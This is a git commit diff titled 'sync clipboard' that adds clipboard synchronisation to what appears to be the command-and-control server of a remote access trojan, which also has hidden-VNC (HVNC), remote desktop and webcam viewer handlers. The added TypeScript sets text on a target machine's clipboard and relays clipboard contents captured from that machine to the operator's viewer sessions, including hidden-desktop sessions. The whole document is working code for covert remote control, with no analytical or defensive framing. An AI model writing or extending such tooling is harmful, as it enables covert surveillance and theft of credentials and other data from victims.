sync clipboard
This commit is contained in:
@@ -434,6 +434,23 @@ export function handleRemoteDesktopViewerMessage(ws: ServerWebSocket<SocketData>
|
||||
sendDesktopCommandWithId(target, "desktop_text", { text: payload.text || "" }, commandId);
|
||||
break;
|
||||
}
|
||||
case "clipboard_sync": {
|
||||
if (!state.isStreaming) break;
|
||||
const text = String(payload.text || "");
|
||||
if (text) {
|
||||
sendDesktopCommand(target, "clipboard_set", { text });
|
||||
}
|
||||
break;
|
||||
}
|
||||
case "clipboard_sync_start": {
|
||||
if (!state.isStreaming) break;
|
||||
sendDesktopCommand(target, "clipboard_sync_start", { source: "rd" });
|
||||
break;
|
||||
}
|
||||
case "clipboard_sync_stop": {
|
||||
sendDesktopCommand(target, "clipboard_sync_stop", {});
|
||||
break;
|
||||
}
|
||||
default:
|
||||
break;
|
||||
}
|
||||
@@ -504,6 +521,21 @@ export function handleHVNCLookupResult(clientId: string, payload: any) {
|
||||
}
|
||||
}
|
||||
|
||||
export function handleClipboardContent(clientId: string, payload: any) {
|
||||
const text = String(payload.text || "");
|
||||
const source = String(payload.source || "");
|
||||
if (!text) return;
|
||||
if (source === "hvnc") {
|
||||
for (const session of sessionManager.getHvncSessionsForClient(clientId)) {
|
||||
safeSendViewer(session.viewer, { type: "clipboard_content", text, source });
|
||||
}
|
||||
} else {
|
||||
for (const session of sessionManager.getRdSessionsForClient(clientId)) {
|
||||
safeSendViewer(session.viewer, { type: "clipboard_content", text, source });
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
export function handleWebcamViewerMessage(ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) {
|
||||
const payload = decodeViewerPayload(raw);
|
||||
if (!payload || typeof payload.type !== "string") return;
|
||||
@@ -734,6 +766,23 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
|
||||
});
|
||||
break;
|
||||
}
|
||||
case "clipboard_sync": {
|
||||
if (!state.isStreaming) break;
|
||||
const text = String(payload.text || "");
|
||||
if (text) {
|
||||
sendHVNCCommand(target, "clipboard_set", { text });
|
||||
}
|
||||
break;
|
||||
}
|
||||
case "clipboard_sync_start": {
|
||||
if (!state.isStreaming) break;
|
||||
sendDesktopCommand(target, "clipboard_sync_start", { source: "hvnc" });
|
||||
break;
|
||||
}
|
||||
case "clipboard_sync_stop": {
|
||||
sendDesktopCommand(target, "clipboard_sync_stop", {});
|
||||
break;
|
||||
}
|
||||
default:
|
||||
break;
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user